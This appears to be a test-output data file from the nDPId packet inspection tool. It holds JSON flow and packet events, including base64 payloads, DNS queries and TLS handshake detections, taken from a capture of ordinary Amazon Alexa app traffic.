+02294{"flow_id":153,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2834,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":850819,"pkt_caplen":1434,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1434,"pkt_l4_len":1400,"pkt":"AMDKkaPvePiC0\/vCCABFAAWMfEVAAEAGR7WsECrY2DrCTr+rAbtBfveUgb8EQoAQAXiylwAAAQEICgD2itELBTxdFwMDBh2gXwjt3EUWxeToL8j0tNysqGf1QNRjrDPD1B7EXu9rPq27bNdX+R6NiIuSPFsQm7o7apZY\/ff27IS7cKvVjDWv9JwUlVaPXz4OmzpzFDri1\/e9SwKjocLDzNTHZXwnc1Sot6gypGDmghXdcPh9W7Ey0NGpfTDU\/Ydxa6QoFlW3miA0wTDVHF1XAg5Vg65doi8EDlKL8qmo4V2ETmsOaiWIv3cZIZhc5L\/XWo6UdiGaHMexnFkXHMlEFetI9qYmuDPG89vsUtaEIU84qBxkZZ2KlyJqrs0ASiWGkoAoOVjS0g3yFA8XZATv85mGd9loJHCkThkVEhLeN0EClUUCX+wpJcxDJY3O99KVsVOakSkx92NsfDmaGK\/ncBMtdxdsGTe4rePaSj8JjhccaI5x47m1PtxeBNXQ2vNzr0M3BCQNhbTa5ZPd415MLP7N9dcfrcqiesLq9Y\/2gOZnEJ2oL+Tn\/QMjuHvIjoVBtUxjvUsI7u26rpSxz\/EpEqGQF2nUcpY7ZruMaxlKcJrz4YQzS4tbRNDnEbu8GVPjfCuX9ERxrw4C9eJlaTEXXZV+Jd8jhd4I\/bnCAETyEUmLngkqJvikMCOkOWbRcCO2gaBzyWS5ndOmKRZkgtA0tA2u+jc55+\/6xXE8URST85R\/CyTT8\/L6C6o9Kz9S+V\/vlHnlIGHOgKglo\/z1J5mBcnAfg0HyGvRWPIfREkzsZGA5z2H23FUCJwRPiGhgxCN0Cdt3\/ry5HjDVyePVvlIZadsPMPmQCa86J5lKgiEam6aFLFUak\/wrHiPh57VcInQUhEv2fGUSOYd4W8FGAJYexZSOOL7S2wVPR5GXjFxV8clfHanOP5\/MJNbdrSjmUZbEvoaaeUD6aKYvAEKFf7ALoKR5+UHLBY4JP6YML8qfZYMS2Z6P6x+MK\/9A1o8iDuioTVB\/1HwLn30Fg95qv\/OpEkBRUcMAW8jRRp2gwOBeBAvOD7C0AbiyWycabUsYGUVAcL78ilKsZYfdNK8wqiki8pB2HPZ+Sl3Q27g5QOwghAzADUu0vrxOCqu9Fcigjj++mgUNTL82IDIR\/+IIfNHSvaInU+SJ5b1\/Xa9VmPF24vMVU\/YFGRW3kzv3mkFVAn4vFcr1hCu7EonGHfho2es\/KuRel+gOC2jR\/6qDcHCq8n4XpCXhUq81VW7y3XTX0whvM1iqHtc58HNqdfJPXhkD9AkLwVEiWe7wRo7vjcObqbkE7BchjFchZDflrebQ8BTOidpYepUCaKwpsd9fc1\/cNI3drTxCVNBLxYfCOs84zbLv0v8uYOFKM\/63AYzWFx4sN3YMBN1XbwKtJzXKq0U9Fwx3WTdD9P2L8M45MretZTPY0VF6lyokCbSwyJ38ED4QYTaNeNKGldKd1MkGDTHDpG67KD9X+x4A3a2PeFK9INBzbFOIkADOgFYUr2XwVkkZmXTHlPzERwagnQ+E2WAK55lId\/IAPWzmmnMYFWjQjiSCJDDdT3XYP92unjLmcC+raa5vUm4Ukigk+G89+fXCxmVr8pp4mmh3giz6bNRZpyNxDvSq\/e6UnG6jJN6ZuTaP+dYXxb\/z6wj+Basg3XvVTUR2uyXBDZhYvF7fm3zFpDEU7NIB1uR2\/51Fwn2snM2jNeSr6c6iRodWTFlBhmTIi2UtIat6OwLk+cgILsIo2UpmKzOys6nHzBRBScbZZdbRQFxuDfSQDkKkxbYB4unNiF7u7fywLwhnjlDWQJA5LkFcxlQZQVzMoHQAjV8Gq+VdiycPg1Vih6lJDB67qazr0bt969S2Tie7Tr4kJXVbB9yPFyjEkfafuNVc"} +00717{"flow_id":153,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2835,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":851506,"pkt_caplen":268,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":268,"pkt_l4_len":234,"pkt":"AMDKkaPvePiC0\/vCCABFAAD+fEZAAEAGTEKsECrY2DrCTr+rAbtBfvzsgb8EQoAYAXjjjgAAAQEICgD2itELBTxdy\/doybMCEQg\/D4aCyc9z4pOWaiz9DAgy7GNnhIaBmoi3hc31JaIKDxCLEJponZsOOr+E\/PQ9FCFQyRxOuGqYG+\/z4jHSFdoCP0xOhgIpHQQXBM4sTjs4q9X+LgxtylZR3Tjrk\/fnOP4A\/gtfjcLUDXAwlMdEMz2o0xGNW0azyZU8U3iZYmqLawBQlzXDne7HVWY5cS3hEx2\/\/eD1ypDHPnU5\/TsSMJlSP2AU1Cnjhhwv7th0yx3NoSsEOviXJ93A2eUFSS+kZ+svmw=="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2861,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":154,"flow_packet_id":1,"flow_first_seen":1490976195921,"flow_last_seen":0,"flow_tot_l4_data_len":57,"flow_min_l4_data_len":57,"flow_max_l4_data_len":57,"flow_avg_l4_data_len":57,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":4612,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00469{"flow_id":154,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2861,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":921499,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"AMDKkaPvePiC0\/vCCABFAABNWmZAAEARM0CsECrYrBAqARIEADUAOVP\/iiYBAAABAAAAAAAACWltYWdlcy1uYRFzc2wtaW1hZ2VzLWFtYXpvbgNjb20AAAEAAQ=="} +00656{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2861,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":154,"flow_packet_id":1,"flow_first_seen":1490976195921,"flow_last_seen":0,"flow_tot_l4_data_len":57,"flow_min_l4_data_len":57,"flow_max_l4_data_len":57,"flow_avg_l4_data_len":57,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":4612,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"images-na.ssl-images-amazon.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00611{"flow_id":154,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2864,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":980743,"pkt_caplen":197,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":197,"pkt_l4_len":163,"pkt":"ePiC0\/vCAMDKkaPvCABFAAC37AVAAEARoTasECoBrBAq2AA1EgQAo8CaiiaBgAABAAUAAAAACWltYWdlcy1uYRFzc2wtaW1hZ2VzLWFtYXpvbgNjb20AAAEAAcAMAAUAAQAAAAMAHg1kazlwczdnb3FvZWVmCmNsb3VkZnJvbnQDbmV0AMA9AAEAAQAAADsABDRUPnPAPQABAAEAAAA7AAQ0VD7rwD0AAQABAAAAOwAENFQ+v8A9AAEAAQAAADsABDRUPj4="} +00684{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2864,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":154,"flow_packet_id":2,"flow_first_seen":1490976195921,"flow_last_seen":1490976195980,"flow_tot_l4_data_len":220,"flow_min_l4_data_len":57,"flow_max_l4_data_len":163,"flow_avg_l4_data_len":110,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":4612,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"images-na.ssl-images-amazon.com","num_queries":1,"num_answers":5,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.84.62.115"}} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2865,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":155,"flow_packet_id":1,"flow_first_seen":1490976195983,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.62.115","src_port":41912,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":155,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2865,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":983393,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8wa5AAEAGL16sECrYNFQ+c6O4AbsdU0twAAAAAKAC\/\/9kRAAAAgQFtAQCCAoA9oreAAAAAAEDAwg="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2866,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":156,"flow_packet_id":1,"flow_first_seen":1490976195984,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.62.115","src_port":41913,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":156,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2866,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":984177,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8CnNAAEAG5pmsECrYNFQ+c6O5Abv6a4CtAAAAAKAC\/\/9R7QAAAgQFtAQCCAoA9oreAAAAAAEDAwg="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2867,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":157,"flow_packet_id":1,"flow_first_seen":1490976195985,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.62.115","src_port":41914,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":157,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2867,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":985305,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8MZ1AAEAGv2+sECrYNFQ+c6O6AbtYObtDAAAAAKAC\/\/+5iAAAAgQFtAQCCAoA9oreAAAAAAEDAwg="} +00441{"flow_id":156,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2869,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":859,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8AABAAPIGPww0VD5zrBAq2AG7o7kDZGUl+muArqAScSCFQwAAAgQFtAQCCAps+oX0APaK3gEDAwg="} +00442{"flow_id":155,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2870,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":1010,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8AABAAPIGPww0VD5zrBAq2AG7o7jUvy2sHVNLcaAScSD3DwAAAgQFtAQCCAps+oycAPaK3gEDAwg="} +00430{"flow_id":156,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2871,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":2121,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0CnRAAEAG5qCsECrYNFQ+c6O5Abv6a4CuA2RlJoAQAVcj2AAAAQEICgD2iuBs+oX0"} +00430{"flow_id":155,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2872,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":3424,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0wa9AAEAGL2WsECrYNFQ+c6O4AbsdU0tx1L8trYAQAVeVpAAAAQEICgD2iuBs+oyc"} +00726{"flow_id":156,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2873,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":3702,"pkt_caplen":285,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":285,"pkt_l4_len":251,"pkt":"AMDKkaPvePiC0\/vCCABFAAEPCnVAAEAG5cSsECrYNFQ+c6O5Abv6a4CuA2RlJoAYAVfOvQAAAQEICgD2iuBs+oX0FgMBANYBAADSAwPpjfK00MIrt3BxXOFv6gz55nS9q4nJk9FBExT7V8ZmxQAAIOrqzKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAifr6AAD\/AQABAAAAACQAIgAAH2ltYWdlcy1uYS5zc2wtaW1hZ2VzLWFtYXpvbi5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAACgAKAAiKigAdABcAGLq6AAEA"} +00749{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2873,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":156,"flow_packet_id":4,"flow_first_seen":1490976195984,"flow_last_seen":1490976196003,"flow_tot_l4_data_len":363,"flow_min_l4_data_len":32,"flow_max_l4_data_len":251,"flow_avg_l4_data_len":90,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.62.115","src_port":41913,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"images-na.ssl-images-amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00726{"flow_id":155,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2874,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":5425,"pkt_caplen":285,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":285,"pkt_l4_len":251,"pkt":"AMDKkaPvePiC0\/vCCABFAAEPwbBAAEAGLomsECrYNFQ+c6O4AbsdU0tx1L8trYAYAVfIxQAAAQEICgD2iuBs+oycFgMBANYBAADSAwPu6GGuPmyzw7dLNflsWT5nlBqUB1hxgKWeZNpugQIoJQAAIOrqzKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAiWpqAAD\/AQABAAAAACQAIgAAH2ltYWdlcy1uYS5zc2wtaW1hZ2VzLWFtYXpvbi5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAACgAKAAjq6gAdABcAGKqqAAEA"} +00749{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2874,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":155,"flow_packet_id":4,"flow_first_seen":1490976195983,"flow_last_seen":1490976196005,"flow_tot_l4_data_len":363,"flow_min_l4_data_len":32,"flow_max_l4_data_len":251,"flow_avg_l4_data_len":90,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.62.115","src_port":41912,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"images-na.ssl-images-amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00442{"flow_id":157,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2875,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":8146,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8AABAAPIGPww0VD5zrBAq2AG7o7r33SsOWDm7RKAScSApGwAAAgQFtAQCCAps+o9VAPaK3gEDAwg="} +00430{"flow_id":157,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2876,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":9303,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0MZ5AAEAGv3asECrYNFQ+c6O6AbtYObtE990rD4AQAVfHrwAAAQEICgD2iuBs+o9V"} +00727{"flow_id":157,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2877,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":10246,"pkt_caplen":285,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":285,"pkt_l4_len":251,"pkt":"AMDKkaPvePiC0\/vCCABFAAEPMZ9AAEAGvpqsECrYNFQ+c6O6AbtYObtE990rD4AYAVcgywAAAQEICgD2iuBs+o9VFgMBANYBAADSAwOZ4tBPqLqYdHU6SDQI1rutJPljePPKqcU84R0pjyIHmAAAIJqazKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAidraAAD\/AQABAAAAACQAIgAAH2ltYWdlcy1uYS5zc2wtaW1hZ2VzLWFtYXpvbi5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAACgAKAAjq6gAdABcAGEpKAAEA"} +00749{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2877,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":157,"flow_packet_id":4,"flow_first_seen":1490976195985,"flow_last_seen":1490976196010,"flow_tot_l4_data_len":363,"flow_min_l4_data_len":32,"flow_max_l4_data_len":251,"flow_avg_l4_data_len":90,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.62.115","src_port":41914,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"images-na.ssl-images-amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2878,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":158,"flow_packet_id":1,"flow_first_seen":1490976196016,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.28.178","src_port":58048,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":158,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2878,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":16602,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8LWlAAEAG4smsECrYNu8csuLAAbtkEKeIAAAAAKAC\/\/+hiQAAAgQFtAQCCAoA9orhAAAAAAEDAwg="} +00431{"flow_id":156,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2879,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":28189,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA04NBAAPIGXkM0VD5zrBAq2AG7o7kDZGUm+muBiYAQAHYj3AAAAQEICmz6hfYA9org"} +00431{"flow_id":157,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2880,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":30939,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA0pFhAAPIGmrs0VD5zrBAq2AG7o7r33SsPWDm8H4AQAHbHswAAAQEICmz6j1cA9org"} +00431{"flow_id":155,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2881,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":31071,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA0oQ1AAPIGngY0VD5zrBAq2AG7o7jUvy2tHVNMTIAQAHaVpgAAAQEICmz6jKAA9org"} +02380{"flow_id":156,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2882,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":33481,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXc4NFAAPIGWJo0VD5zrBAq2AG7o7kDZGUm+muBiYAQAHYHvgAAAQEICmz6hfcA9orgFgMDAFQCAABQAwMchVgr9AjLWixAKujTvHZoIk1uz271I4e\/jrQ7u2hALgDALwAAKAAAAAD\/AQABAAALAAQDAAECACMAAAAFAAAAEAALAAkIaHR0cC8xLjEWAwMLowsAC58AC5wABlowggZWMIIFPqADAgECAhBpH0FX++InsW31pP5h+nftMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTYwOTIzMDAwMDAwWhcNMTcxMDI2MjM1OTU5WjB5MQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4GA1UEBwwHU2VhdHRsZTEZMBcGA1UECgwQQW1hem9uLmNvbSwgSW5jLjEoMCYGA1UEAwwfSW1hZ2VzLW5hLnNzbC1pbWFnZXMtYW1hem9uLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALEuJO\/+bBZp+65A3qd7KXAfp\/cKV5sEn6gPlLX+kNYjVLDHtwBivFeUG6bFEOhwWdlcNuDzu9KkW7lLTHitJ5nFNZV8ab6lWZc6IgABVBSUzarnyfLq7rKfC2JGnZNxMXEzi1Vj5qs4OUNzMETVJxx9HbMK3VCITO7h6OYz2D3VyZgIJwqq7Onpkkx2YSQTdtBy9Pr3Yx71pOWk\/3vh3jwlUgByGncft+zlHReypSHZCXLE\/RRSYVMOdSSWd9vlmStKxq5H0TRrvkLw+d3p5plGcmL7d1fjoFAWT259eL1DlUmYfkteR\/zCwtPSGW3K6F6CzoKpayF3+Zj22dILQUkCAwEAAaOCAtMwggLPMIGABgNVHREEeTB3gh9JbWFnZXMtbmEuc3NsLWltYWdlcy1hbWF6b24uY29tgh9pbWFnZXMtZXUuc3NsLWltYWdlcy1hbWF6b24uY29tgh9pbWFnZXMtZmUuc3NsLWltYWdlcy1hbWF6b24uY29tghJtLm1lZGlhLWFtYXpvbi5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGEGA1UdIARaMFgwVgYGZ4EMAQICMEwwIwYIKwYBBQUHAgEWF2h0dHBzOi8vZC5zeW1jYi5jb20vY3BzMCUGCCsGAQUFBwICMBkMF2h0dHBzOi8vZC5zeW1jYi5jb20vcnBhMB8GA1UdIwQYMBaAFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMCsGA1UdHwQkMCIwIKAeoByGGmh0dHA6Ly9zcy5zeW1jYi5jb20vc3MuY3JsMFcGCCsGAQUFBwEBBEswSTAfBggrBgEFBQcwAYYTaHR0cDovL3NzLnN5bWNkLmNvbTAmBggrBgEFBQcwAoYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcnQwggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAAdgDd6x0reg1PpiCLga2BaHB+Lo6dAdVciI09EcTNtuy+zAAAAVdUkiseAAAEAwBHMEUCIQD6iIA+rmG7QUCCeoEWrVeccR1EZDWz9MXobNmyZkT4uQIgaiJVZCKRbwFdkbUxvM4Cisi\/8VdNDoagQ9TsWHWxRdUAdgBo9pj4H2SCvjqM7rkoHUz8cVFdZ5PURNEKZ6y7T0\/7xAAAAVdUkitHAAAEAwBHMEUCIEoThh0jOnprHDW1k9YHcA6yuygvskznTHLMQPBWQS8oAiEAy\/WI\/dbVY6t2GtrwR2xpuZ7b0b0g40Bn0vI="} +00806{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2882,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":156,"flow_packet_id":6,"flow_first_seen":1490976195984,"flow_last_seen":1490976196033,"flow_tot_l4_data_len":1875,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":312,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.62.115","src_port":41913,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"images-na.ssl-images-amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"76cc3e2d3028143b23ec18e27dbd7ca9","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} 